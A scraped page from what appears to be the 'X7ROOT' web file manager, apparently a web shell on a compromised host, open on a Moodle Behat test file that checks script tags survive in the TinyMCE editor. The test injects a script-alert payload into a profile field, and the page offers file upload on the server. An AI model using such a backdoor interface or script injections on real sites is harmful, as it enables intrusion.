X7ROOT File Manager
Current Path:
/home/cbholdings/pasukulu/lib/editor/tiny/tests/behat
home
/
cbholdings
/
pasukulu
/
lib
/
editor
/
tiny
/
tests
/
behat
/
📁
..
📄
behat_editor_tiny.php
(11.44 KB)
📄
editor_tiny_helpers.php
(7.28 KB)
📁
fixtures
📄
manage_subplugins.feature
(1.56 KB)
📄
source_code.feature
(689 B)
Editing: source_code.feature
@core @editor_tiny @source_code @javascript Feature: A user can insert script tag in TinyMCE Scenario: Allow script elements in the editor Given I log in as "admin" And I open my profile in edit mode When I click on the "Tools > Source code" menu item for the "Description" TinyMCE editor Then I set the field with xpath "//textarea[@class='tox-textarea']" to "<p><script>alert('script in tiny');</script></p>" And I click on "Save" "button" When I click on the "Tools > Source code" menu item for the "Description" TinyMCE editor Then the field with xpath "//textarea[@class='tox-textarea']" matches value "<p><script>alert('script in tiny');</script></p>"
Upload File
Create Folder